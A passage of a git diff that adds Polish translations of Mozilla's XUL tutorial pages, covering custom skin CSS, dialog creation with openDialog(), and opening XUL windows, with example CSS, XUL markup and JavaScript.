+<p>Wewnętrzne okno pudełka, (który aktualnie otacza całą zawartość okna) zostało zmienione na kolor średnio-niebieski. Możesz zobaczyć ten niebieski, pomiędzy pasem kart i u samego dołu okna. Cztery elementy <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menubar" title="menubar">menubar</a></code></code>, <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code></code>, <code><code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code></code> i <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tabpanels" title="tabpanels">tabpanels</a></code></code> są koloru jasno niebieskiego. Obramowanie wokół tych czterech elementów zostało zmienione na cięższy widok 3D. Możesz zobaczyć, jeśli przyjrzysz się bliżej. Tło <code><code><a href="/pl/docs/Mozilla/Tech/XUL/caption" title="caption">caption</a></code></code> po zmianie jest bardziej ciemne.</p>
+
+<p>Pierwsza reguła powyżej (dla 'window &gt; box') określa, że potomek-dziecko box, okna posiada inny kolor. Prawdopodobnie nie jest to dobre rozwiązanie w tym przypadku. Powinniśmy naprawdę zmienić użyte tutaj klasy stylu. Zróbmy to. Idąc tą drogą, możemy zmodyfikować XUL bez potrzeby trzymania pudełka jako pierwszego potomka okna.</p>
+
+<pre class="eval">.findfilesbox {
+ background-color: #0088CC;
+}
+
+<strong>XUL:</strong>
+
+&lt;vbox <span class="highlightred">class="findfilesbox"</span> orient="vertical" flex="100%"&gt;
+&lt;toolbox&gt;
+</pre>
+
+<p>Następnie, zmodyfikujmy karty. Zrobimy zaznaczone kartę, pogrubimy i zmienimy zaokrąglenia na nich.</p>
+
+<pre>tab:first-child {
+ -moz-border-radius: 4px 0px 0px 0px;
+}
+
+tab:last-child {
+ -moz-border-radius: 0px 4px 0px 0px;
+}
+
+tab[selected="true"] {
+ color: #000066;
+ font-weight: bold;
+ text-decoration: underline;
+}
+</pre>
+
+<div class="float-right"><img alt="Grafika:Cskin3.jpg"></div>
+
+<p>Druga reguła zmienia wygląd normalnej karty, pierwsze ustawienia zaokrąglenia pierwszej karty i ustawienia drugiej zaokrągla, gdyż jest to ostatnia karta. Użyte tutaj są specjalne reguły stylów Mozilli, <code><a href="pl/CSS/-moz-border-radius">-moz-border-radius</a></code>, które tworzą zaokrąglone obramowanie rogów. Górne lewe obramowanie pierwszej karty i górne prawe obramowanie drugiej karty, są zaokrąglone czterema pikselami i pozostałe rogi mają również wartość równą zero pikseli, które są równoważne nie zaokrąglaniu. Powiększenie wartości tutaj powodują większe zaokrąglenie i zmniejszają widok ich jako prostokątnych.</p>
+
+<p>Ostatnia reguła nakłada tylko kartę, że posiadają atrybut <code><code id="a-selected"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/selected">selected</a></code></code> ustawiony na <code>true</code>. To stwarza tekst w zaznaczonej karcie jako pogrubiony, podkreślony i koloru ciemno niebieskiego. Uwaga, w obrazku w tym przykładzie styl ten został zastosowany tylko do pierwszej karty, ponieważ jest zaznaczony jako jedyny.</p>
+
+<p>Przyciski paska narzędzi z menu commands poniekąd są trudne do wyróżnienia. Dodamy kilka ikon do przycisków robiąc je bardziej przejrzystymi. Mozilla Compresor dostarcza ikony przycisków Otwórz i Zapisz, które będą użyte tutaj do zapisania czasu. Potrafimy ustawić obrazek dla przycisku poprzez właściwość CSS <code><a href="pl/CSS/list-style-image">list-style-image</a></code>.</p>
+
+<pre>#opensearch {
+ list-style-image: url("chrome://editor/skin/icons/btn1.gif");
+ -moz-image-region: rect(48px 16px 64px 0);
+ -moz-box-orient: vertical;
+}
+
+#savesearch {
+ list-style-image: url("chrome://editor/skin/icons/btn1.gif");
+ -moz-image-region: rect(80px 16px 96px 0);
+ -moz-box-orient: vertical;
+}
+</pre>
+
+<div class="float-right"><img alt="Grafika:Cskin4.jpg"></div>
+
+<p>Mozilla dostarcza własności zwykłych stylów <code><a href="pl/CSS/-moz-image-region">-moz-image-region</a></code>, które potrafi zostać użyte do zrobienia części elementu obrazka. Możesz myśleć o tym , jako, że jest to spięty region obrazka. Ustawiasz właściwości pozycji i rozmiaru obrazka i przycisk będzie wyświetli tylko ten kawałek obrazka. Uznane to zostaje jako ten sam obrazek dla wielokrotnego przycisków i ustawia inne regiony dla każdego. Kiedy masz kilka przycisków, ze statusem najechany, aktywny i wyłączony, to zachowuje miejsce, które normalnie jest okupowane przez wielokrotne obrazki. W kodzie powyżej, używamy tego samego obrazka dla każdego przycisku, ale ustawiamy inne regiony dla każdego jednego. Jeśli widzisz ten obrazek (btn1.gif), powinieneś spostrzec, że stanowi to kratkę z małymi obrazkami, każdy jeden o wymiarach 16 na 16 pikseli.</p>
+
+<p><br>
+ Własność <code><a href="pl/CSS/-moz-box-orient">-moz-box-orient</a></code> jest użyta do orientacji pionowej przycisku, więc obrazek ten stanowi powyższą etykietę. Ta cecha ma te same znaczenie jako atrybut <code><code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code></code> . To jest wygodne, ponieważ motyw nie zmieni XUL-a. Wiele atrybutów box ma właściwość korespondencji.</p>
+
+<p>Następnie, zrobimy kilka zmian dotyczących przycisków znajdujących się wzdłuż dołu, ponownie użyjemy kilku ikon z Mozilli do zapisania w czasie. Jeśli tworzysz swój własny motyw, będziesz potrzebować nowych ikon lub skopiuj ikony nowych plików. Jeśli pójdziemy za przykładem w tym rozdziale, to tylko kopia plików do Twojej nowego motywu i odpowiednia zmiana URL-a.</p>
+
+<pre>#find-button {
+ list-style-image: url("chrome://global/skin/checkbox/images/cbox-check.jpg");
+ font-weight: bold;
+}
+
+#cancel-button {
+ list-style-image: url("chrome://global/skin/icons/images/close-button.jpg");
+}
+
+button:hover {
+ color: #000066;
+}
+</pre>
+
+<p> </p>
+
+<div class="float-right"><img alt="Grafika:Cskin5.jpg"></div>
+
+<p>Dodamy obrazki do przycisków i zrobimy przycisk <strong>Znajdź</strong>, który będzie posiadał pogrubiony tekst wskazujący, że jest to przycisk domyślny. Ostatnia zasada nakłada na przycisk zasadę, że jeśli kursor myszy ma się zmieniać nad przyciskiem. Ustawiamy kolor tekstu na ciemny niebieski w tym przypadku. Na koniec, kilka mniejszych zmian w rozmieszczeniu w oknie znajdujących się tam rzeczy, poprzez ustawienie marginesów:</p>
+
+<div class="float-right"><img alt="Grafika:cskin-fin.jpg"></div>
+
+<pre>tabbox {
+ margin: 4px;
+}
+
+toolbarbutton {
+ margin-left: 3px;
+ margin-right: 3px;
+}
+</pre>
+
+<p>Po tych zmianach, okno dialogowe Znajdź pliki będzie wyglądało w następujący sposób.</p>
+
+<p>Jak możesz zauważyć, proste zmiany w regułach stylu dały rezultat całkiem innego wyglądu okna dialogowego Znajdź pliki. Możemy kontynuować poprzez zmianę menu, chwytając pasek narzędzi i położenie elementu pola wyboru.</p>
+
+<h2 id="Tworzenie_globalnego_motywu" name="Tworzenie_globalnego_motywu">Tworzenie globalnego motywu</h2>
+
+<p>Stworzony motyw powyżej, jest prosty i tylko zastosowanie do okna dialogowego Znajdź pliki. Niektóre zmiany zrobione dla motywu, powinny być umieszczone w pliku globalnych arkuszach stylów (w globalnym katalogu skórek) dla zastosowania we wszystkich aplikacjach. Na przykład, posiadanie innych obrazków dla sprawdzenia pudełka w oknie dialogowym Znajdź pliki, jako inny wygląd okna to trochę dziwaczne. Ta zmiana powinna naprawdę zostać przeniesiona do arkusza stylów globalnych.</p>
+
+<p>Spróbuj przenieść style CSS z pliku findfile.css do pliku global.css i następnie spójrz na niektóre okna dialogowe w Mozilli (Widok cookie jest dobrym przykładem). Zostaniesz powiadomiony, że posiada adoptowane reguły te, co dodałeś. Niektóre reguły popadają w konflikt miedzy sobą w plikach stylów. Na przykład, reguły już zdefiniowane dla przycisków, kart i inne zdefiniowane dodatkowe reguły dla nich. Kiedy zmieniasz skórę global, możesz potrzebować scalenia zmian do istniejących reguł.</p>
+
+<p>Do najlepszych zdolności skórki, to jest deklaracja wyglądu bliskich zasad stylów w katalogu globalnym, raczej niż w indywidualnym pliku stylów. Zawiera on kolory, czcionki i rozmiary wyglądu. Jeśli zmienisz kolor lub coś w lokalnym pliku skóry (takim jak findfile.css), okno dialogowe może wyglądać dziwacznie jeśli użytkownik zmieni swoją skórę globalną. Nie wyklucza to użytkownikowi używania jednej domyślnej.</p>
+
+<div class="highlight">
+<p>Przykład Znajdź pliki wraz z motywem <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-cskin.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-cskin.xul">View</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-cskin.css">Stylesheet</a></p>
+</div>
+
+<p><small>Zobacz także: <a href="pl/Dokumentacja_CSS/Rozszerzenia_Mozilli">Rozszerzenia CSS Mozilli</a> i <a href="pl/Dokumentacja_CSS">Dokumentacja CSS</a></small></p>
+
+<p>W następnym temacie przedstawiamy dyskusje, <a href="pl/Kurs_XUL/Lokalizacja">jak zrobić lokalizację aplikacji XUL</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Modyfikacja_domyślnego_motywu" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Lokalizacja">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/tworzenie_okien_dialogowych/index.html b/files/pl/mozilla/tech/xul/kurs_xul/tworzenie_okien_dialogowych/index.html
new file mode 100644
index 0000000000..7cea315024
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/tworzenie_okien_dialogowych/index.html
@@ -0,0 +1,151 @@
+---
+title: Tworzenie okien dialogowych
+slug: Mozilla/Tech/XUL/Kurs_XUL/Tworzenie_okien_dialogowych
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Creating_Dialogs
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Możliwości_okna" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Okna_otwierania_i_zapisywania_plików">Następny »</a></p>
+</div><p></p>
+
+<p>Aplikacja XUL często wymaga wyświetlania okien dialogowych. Ten artykuł opisuje jak takie okna skonstruować.</p>
+
+<h2 id="Tworzenie_okien_dialogowych" name="Tworzenie_okien_dialogowych">Tworzenie okien dialogowych</h2>
+
+<p>Funkcja <code><a href="pl/DOM/window.openDialog">openDialog()</a></code> stosowana jest do otwarcia okna dialogowego. Podobną funkcją jest <code><a href="pl/DOM/window.open">open()</a></code>. Różni się jednak pod kilkoma względami. Wyświetli okno, a nie okno dialogowe, z czego wynika, że oczekujemy jakiejś akcji użytkownika. Okno to może mieć subtelne różnice w sposobie pracy i w postrzeganiu je przez użytkownika. Te różnice wynikają z platformy, na której pracujemy.</p>
+
+<p>W dodatku funkcja <code>openDialog()</code> może wymagać dodatkowych argumentów, poza trzema opisanymi wcześniej. Te argumenty są przesyłane do okienka dialogowego i umieszczane w obszarze przechowywanym we właściwościach argumentów nowego okna. Można przesłać tyle argumentów, ile jest potrzebne. Jest to bardzo wygodny sposób dostarczania wartości domyślnych do pól w oknie dialogowym.</p>
+
+<pre>var somefile=document.getElementById('enterfile').value;
+
+window.openDialog("chrome://findfile/content/showdetails.xul","showmore",
+ "chrome",somefile);
+</pre>
+
+<p>W tym przykładzie zostanie wyświetlone okno dialogowe showdetails.xul. Przesłany mu będzie jeden argument <code>somefile</code> wzięty z wartości elementu o id <code>enterfile</code>. W skrypcie używanym przez to okienko dialogowe, możemy się odwołać do tego argumentu używając własności <code>arguments</code> okna. Na przykład:</p>
+
+<pre>var fl = window.arguments[0];
+
+document.getElementById('thefile').value = fl;
+</pre>
+
+<p>Jest to bardzo efektywny sposób przekazywania wartości nowemu oknu. Można przesłać wartości z otwartego okna do oryginalnego na dwa sposoby. Po pierwsze można użyć własności <code><a href="pl/DOM/window.opener">window.opener</a></code>, która pozostawia okno, z którego otwarto dialog. Po drugie można przesłać funkcję lub obiekt jako jeden z argumentów, a potem odwołać się do tej funkcji lub zmodyfikować obiekt w otwartym dialogu.</p>
+
+<div class="note">
+<p><strong>Uwaga</strong>: <code>openDialog()</code> żąda przywileju UniversalBrowserWrite. To znaczy, że to nie będzie działało na zdalnej stronie; dlatego stosuj w zamian <code>window.open()</code>.</p>
+</div>
+
+<h2 id="Element_okna_dialogowego" name="Element_okna_dialogowego">Element okna dialogowego</h2>
+
+<p>Element okna dialogowego powinien być używany zamiast elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code>, podczas tworzenia <code><code><a href="/pl/docs/Mozilla/Tech/XUL/dialog" title="dialog">dialog</a></code></code>. Zapewnia to użyteczną możliwość stworzenia nawet do czterech przycisków w dole okienka dialogowego na polecenia takie jak 'OK', 'Anuluj' itd. Nie musisz zamieszczać XUL-a dla każdego <code><a href="/pl/docs/Mozilla/Tech/XUL/button" title="button">button</a></code>, ale musisz pamiętać o kodzie, który wygeneruje odpowiednią akcję, gdy użytkownik naciśnie dany przycisk. Ta procedura jest niezbędna, ponieważ różne platformy mają odpowiednią dla siebie kolejność, w której pojawiają się te przyciski.</p>
+
+<h3 id="Przyk.C5.82ad_okienka_dialogowego" name="Przyk.C5.82ad_okienka_dialogowego">Przykład okienka dialogowego</h3>
+
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_dialogs_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dialogs_1.xul">Podgląd</a></p>
+
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?&gt;
+
+&lt;dialog id="donothing" title="Przykład okienka dialogowego"
+ xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
+ buttons="accept,cancel"
+ ondialogaccept="return doOK();"
+ ondialogcancel="return doCancel();"&gt;
+
+&lt;script&gt;
+function doOK(){
+ alert("Nacisnąłeś OK!");
+ return true;
+}
+
+function doCancel(){
+ alert("Nacisnąłeś Cancel!");
+ return true;
+}
+&lt;/script&gt;
+
+&lt;description value="Zaznacz przycisk"/&gt;
+
+&lt;/dialog&gt;
+</pre>
+
+<p>W oknie dialogowym możesz umieszczać elementy jakie tylko chcesz. Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/dialog" title="dialog">dialog</a></code></code> ma kilka dodatkowych możliwości, których nie posiadają elementy okien. Atrybut <code><code id="a-buttons"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttons">buttons</a></code></code> jest używany w celu zdefiniowania, które przyciski mają się pojawić w oknie dialogowym. Następujące wartości mogą być użyte, gdy zostaną oddzielone przecinkami:</p>
+
+<ul>
+ <li><code>accept</code> - przycisk OK</li>
+ <li><code>cancel</code> - przycisk Anuluj</li>
+ <li><code>help</code> - przycisk Pomoc</li>
+ <li><code>disclosure</code> - przycisk szczegółów, służący do wyświetlania dodatkowych informacji</li>
+</ul>
+
+<p>Możemy ustawić kod do wykonania po naciśnięciu jakiegoś przycisku, za pomocą atrybutów <code><code id="a-ondialogaccept"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ondialogaccept">ondialogaccept</a></code></code>, <code><code id="a-ondialogcancel"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ondialogcancel">ondialogcancel</a></code></code>, <code><code id="a-ondialoghelp"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ondialoghelp">ondialoghelp</a></code></code> i <code><code id="a-ondialogdisclosure"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ondialogdisclosure">ondialogdisclosure</a></code></code>. Jeśli wypróbujesz powyższy przykład, odkryjesz, że funkcja do <code>doOK()</code> jest wywoływana, gdy przycisk 'OK' został wciśnięty, a funkcja <code>doCancel()</code>, gdy wciśnięty został przycisk 'Anuluj'.</p>
+
+<p>Te dwie funkcje <code>doOK()</code> i <code>doCancel()</code> - zwracają <code>true</code>, co oznacza, że okno dialogowe musi zostać zamknięte. Jeśli zwrócone byłoby <code>false</code>, to okno dialogowe pozostałoby otwarte. Jest to używane w przypadku wpisania błędnej wartości w pole w oknie dialogowym.</p>
+
+<p>Użytecznymi atrybutami między innymi są:</p>
+
+<ul>
+ <li><code><code id="a-buttonlabelaccept"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonlabelaccept">buttonlabelaccept</a></code></code> - etykieta pokazująca się na przycisku akceptacji np.<em>Zapisz</em></li>
+ <li><code><code id="a-buttonaccesskeyaccept"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonaccesskeyaccept">buttonaccesskeyaccept</a></code></code> - skrót klawiaturowy do zastosowania dla przycisku akceptującego np.<em>Z</em></li>
+ <li><code><code id="a-defaultButton"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/defaultButton">defaultButton</a></code></code> - przycisk jest aktywny, kiedy naciśnięty zostanie klawisz Enter</li>
+</ul>
+
+<div class="note">
+<p><strong>Uwaga:</strong> Atrybuty etykiety są żądane przez zdalne strony i prawdopodobnie zapomniano o tym w powyższych przykładach due to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=224996" title="&lt;dialog> buttons have no label in remote XUL">błąd 224996</a>.</p>
+</div>
+
+<h3 id="Przyk.C5.82adowe_okno_dialogowe_wraz_z_dodatkowymi_mo.C5.BCliwo.C5.9Bciami" name="Przyk.C5.82adowe_okno_dialogowe_wraz_z_dodatkowymi_mo.C5.BCliwo.C5.9Bciami">Przykładowe okno dialogowe wraz z dodatkowymi możliwościami</h3>
+
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?&gt;
+
+&lt;dialog id="myDialog" title="Moje okienko"
+ xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
+ onload="window.sizeToContent();"
+ buttons="accept,cancel"
+ buttonlabelaccept="Ustaw ulubione"
+ buttonaccesskeyaccept="U"
+ ondialogaccept="return doSave();"
+ buttonlabelcancel="Anuluj"
+ buttonaccesskeycancel="n"
+ ondialogcancel="return doCancel();"&gt;
+
+&lt;script&gt;
+function doSave(){
+ //doSomething()
+ return true;
+}
+function doCancel(){
+ return true;
+}
+&lt;/script&gt;
+
+&lt;dialogheader title="Moje okienko dialogowe" description="Przykładowe okno"/&gt;
+&lt;groupbox flex="1"&gt;
+ &lt;caption label="Wybierz ulubiony owoc"/&gt;
+ &lt;radio id="orange" label="Oranges because they are fruity"/&gt;
+ &lt;radio id="violet" selected="true" label="Strawberries because of colour"/&gt;
+ &lt;radio id="yellow" label="Bananna because it pre packaged"/&gt;
+&lt;/groupbox&gt;
+
+&lt;/dialog&gt;
+</pre>
+
+<p>Elementy przycisków mogą być dostępne z następującym kodem JavaScript</p>
+
+<pre>// przycisk accept
+var acceptButt = document.documentElement.getButton("accept")
+</pre>
+
+<h3 id="Wi.C4.99cej_przyk.C5.82ad.C3.B3w" name="Wi.C4.99cej_przyk.C5.82ad.C3.B3w">Więcej przykładów</h3>
+
+<p>Więcej przykładów znajdziemy w <a href="pl/Fragmenty_kodu/Okienka_dialogowe">Dialogs and prompts</a> (fragment kodu).</p>
+
+<p>Następnie, zobaczymy jak otworzyć <a href="pl/Kurs_XUL/Okna_otwierania_i_zapisywania_plik%c3%b3w">okienko dialogowe pliku</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Możliwości_okna" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Okna_otwierania_i_zapisywania_plików">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/tworzenie_okna/index.html b/files/pl/mozilla/tech/xul/kurs_xul/tworzenie_okna/index.html
new file mode 100644
index 0000000000..1b94462992
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/tworzenie_okna/index.html
@@ -0,0 +1,103 @@
+---
+title: Tworzenie okna
+slug: Mozilla/Tech/XUL/Kurs_XUL/Tworzenie_okna
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Creating_a_Window
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Pliki_manifestu" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodawanie_przycisków">Następny »</a></p>
+</div><p></p>
+
+<p>Przez cały kurs będziemy tworzyć proste narzędzie do wyszukiwania plików. Najpierw jednak powinniśmy zapoznać się z podstawową składnią pliku XUL.</p>
+
+<h3 id="Tworzenie_pliku_XUL" name="Tworzenie_pliku_XUL">Tworzenie pliku XUL</h3>
+
+<p>Plik XUL może posiadać dowolną nazwę, ale powinien mieć rozszerzenie <code>.xul</code>. Prosty plik XUL ma następującą postać:</p>
+
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
+
+&lt;window
+ id="findfile-window"
+ title="Znajdź pliki"
+ orient="horizontal"
+ xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+ ...
+&lt;/window&gt;
+</pre>
+
+<p>To okno pozostanie puste dopóty, dopóki nie będzie zawierało jakichkolwiek elementów interfejsu użytkownika. Elementy te dodamy w kolejnych artykułach. Poniżej znajduje się analiza powyższego przykładu kodu, linijka po linijce:</p>
+
+<h3 id="Otwieranie_okna" name="Otwieranie_okna">Otwieranie okna</h3>
+
+<p>Istnieje kilka metod, których możemy użyć do otwarcia okna XUL. Jeśli znajdujesz się w okresie programowania, wystarczy tylko wpisać URL (czy to<em>chrome:</em>,<em>file:</em> czy inny typ URL) do paska adresu w oknie przeglądarki Mozilla. Powinieneś być także zdolnym do podwójnego kliknięcia w plik w swoim menedżerze plików, który przypisze pliki XUL do połączenia z Mozillą. Okno XUL wyświetli się w oknie przeglądarki jako nowe okno, lecz jest też często dostatecznie, podczas stawiania pierwszych kroków w programowaniu.</p>
+
+<p>Poprawnym sposobem do otworzenia okna jest zastosowanie JavaScript. Nie potrzebna jest żadna nowa składnia, jako, że możemy zastosować funkcję <a href="pl/DOM/window.open">window.open()</a> jako jeden dokument <a href="pl/HTML">HTML</a>. Jednakże, jedna dodatkowa flaga, nazywająca się 'chrome' jest potrzebna do wskazania przeglądarce dokument <a href="pl/DOM/window.open#Window_functionality_features">chrome</a> do otwarcia. Otworzymy okno bez paska narzędzi i menu, reszta okna będzie wyświetlana jak w normalnym oknie przeglądarki. Składnia została opisana poniżej:</p>
+
+<pre>window.open(url,windowname,flags);
+
+gdzie: flags stanowi flagę "chrome", tak jak w tym przykładzie:
+
+window.open("chrome://navigator/content/navigator.xul", "bmarks", "chrome,width=600,height=300");
+</pre>
+
+<div class="highlight">
+<h5 id="Przyk.C5.82ad_findfile.xul" name="Przyk.C5.82ad_findfile.xul">Przykład <code>findfile.xul</code></h5>
+
+<p>Zacznijmy tworzenie prostego pliku okna dialogowego <code>Znajdź pliki</code>. Po pierwsze nazywamy ten plik <code>findfile.xul</code> i umieszczamy jego zawartość w określonym pliku w <code>findfile.manifest</code>, (który został utworzony w poprzednim artykule). Dodaj szablon XUL do pliku, który pokazaliśmy na górze tej strony, a następnie wszystko zapisz.</p>
+</div>
+
+<p>Możemy użyć parametru linii poleceń '-chrome' do określenia pliku XUL, który zostanie otwarty w momencie uruchomienia Mozilli. Jeśli nie zostało to określone, zostanie otwarte okno domyślne (zazwyczaj jest to okno przeglądarki). Na przykład, możemy otworzyć okno dialogowe <code>Znajdź pliki</code> na dwa następujące sposoby:</p>
+
+<pre>mozilla -chrome chrome://findfile/content/findfile.xul
+
+mozilla -chrome resource:/chrome/findfile/content/findfile.xul
+</pre>
+
+<p>Jeśli uruchomisz tą komendę z linii poleceń (w zależności od tego, jakiej platformy używasz), okienko dialogowe <code>Znajdź pliki</code> zostanie otwarte domyślnie zamiast okna przeglądarki Mozilla. Oczywiście, ponieważ nie mamy dodanych jakichkolwiek elementów UI do okna, zobaczysz tylko okno. W kolejnych tematach dodamy różne dodatkowe elementy.</p>
+
+<p>Zobacz, chociaż efekt następującego otwarcia okna zakładek:</p>
+
+<pre class="eval">mozilla -chrome <a class="external" rel="freelink">chrome://communicator/content/bookma...rksManager.xul</a>
+
+<span class="highlightred">Jeśli używasz Firefoksa, sprawdź:</span>
+firefox -chrome <a class="external" rel="freelink">chrome://browser/content/bookmarks/b...rksManager.xul</a>
+</pre>
+
+<p>Argument '-chrome' nie nadaje plikowi jakichkolwiek dodatkowych uprawnień. Zamiast, to powód określający plik do otwarcia jako okno bez jakiegokolwiek przeglądarkowego chrome, takich jak pole adresowe lub menu. Tylko URL chrome posiada dodatkowe przywileje.</p>
+
+<div class="note"><a class="external" href="http://ted.mielczarek.org/code/mozilla/extensiondev/">Rozszerzenie programisty</a> będące edytorem XUL, który pozwala na pisanie w języku XUL oraz pozwala na przeglądanie wyników w czasie rzeczywistym za pomocą Mozilli!</div>
+
+<p>W następnym artykule <a href="pl/Kurs_XUL/Dodawanie_przycisk%c3%b3w">dodamy przyciski do okna</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Pliki_manifestu" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodawanie_przycisków">Następny »</a></p>
+</div><p></p>
+
+<div class="noinclude"> </div>
+
+<ol>
+ <li><strong>&lt;?xml version="1.0"?&gt;</strong><br>
+ Deklaracja pliku XML. Dodajemy tą linijkę na początku każdego pliku XUL, tak jak znacznik HTML wstawiamy na początku pliku HTML.</li>
+ <li><strong>&lt;?xml-stylesheet href="<a class="external" rel="freelink">chrome://global/skin/</a>" type="text/css"?&gt;</strong><br>
+ Linijka ustalająca arkusz stylów używany dla pliku. Jest to składnia, którą plik XML używa do importowania arkuszy stylów. W tym przypadku importuje style znajdujące się w <code><a class="external" rel="freelink">chrome://global/skin</a></code>. Nie odwołując się do konkretnego pliku przeglądarka Mozilla, w tym przypadku, wybierze plik <strong>all-important</strong> <code>global.css</code>. Plik ten zawiera wszystkie domyślne deklaracje wszystkich elementów XUL. Ponieważ XML nie posiada żadnej dokumentacji dotyczącej sposobu, w jaki sposób powinny być jego elementy wyświetlane. Ogólnie, umieszczamy tą linię na samej górze każdego pliku XUL. Możemy także importować inne arkusze stylów stosując prostą składnię. Zauważ, że normalnie zaimportowany zostanie globalny arkusz stylów, z wewnątrz Twojego własnego pliku arkusza stylu.</li>
+ <li><strong>&lt;window</strong><br>
+ Deklarujemy, że będziemy opisywać okno <code><code><a href="/pl/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code>. Znacznik ten ma analogiczne znaczenie do BODY z języka HTML, który otacza całą zawartość strony. W znaczniku <code><code><a href="/pl/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code> można umieścić wiele atrybutów (w przykładzie zawarte są cztery). Każdy z nich umieszczony został w oddzielnej linii, głównie po to, aby kod był przejrzysty.</li>
+ <li>'<strong>id="findfile-window"'</strong><br>
+ Atrybut <code>id</code> jest używany jako identyfikator, dzięki któremu skrypty mogą odwoływać się do okna. Przeważnie <code>id</code> dodaje się do każdego elementu. Nazwa identyfikatora może być dowolna.</li>
+ <li><strong>title="Znajdź pliki"</strong><br>
+ Atrybut <code>title</code> określa tekst, który jest umieszczony na pasku tytułowym okna. W tym przypadku zostanie wyświetlone: <code>Znajdź pliki</code>.</li>
+ <li><strong>orient="horizontal"</strong><br>
+ Atrybut <code>orient</code> określa położenie elementów w oknie. Wartość <code>horizontal</code> ustala poziome położenie elementów w oknie. Wartością domyślną <code>orient</code> jest <code>vertical</code>, które to określa położenie elementów w kolumnie.</li>
+ <li><strong>xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;</strong><br>
+ Deklaracja przestrzeni nazw (<em>namespace</em>) w języku XUL, którą powinieneś umieścić w elemencie <code>window</code>, aby wskazać, że wszyscy jego potomkowie należą do XUL-a. W rzeczywistości URL ten nie jest nigdy wczytany. Stanowi informację dla przeglądarki Mozilla, że ma do czynienia ze standardową składnią języka XUL.</li>
+ <li><strong>...</strong><br>
+ W tym miejscu deklarowane będą elementy takie jak: przyciski, menu lub inne komponenty interfejsu użytkownika.</li>
+ <li><strong>&lt;/window&gt;</strong><br>
+ Na końcu pliku zamykamy znacznik <code><code><a href="/pl/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code>.</li>
+</ol>
+
+<p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/url_chrome/index.html b/files/pl/mozilla/tech/xul/kurs_xul/url_chrome/index.html
new file mode 100644
index 0000000000..dae67852d4
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/url_chrome/index.html
@@ -0,0 +1,74 @@
+---
+title: URL Chrome
+slug: Mozilla/Tech/XUL/Kurs_XUL/URL_Chrome
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/The_Chrome_URL
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Struktura_XUL" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Pliki_manifestu">Następny »</a></p>
+</div><p></p>
+
+<p>Następujący artykuł opisuje jak odnosić się do dokumentów XUL i innych plików chrome.</p>
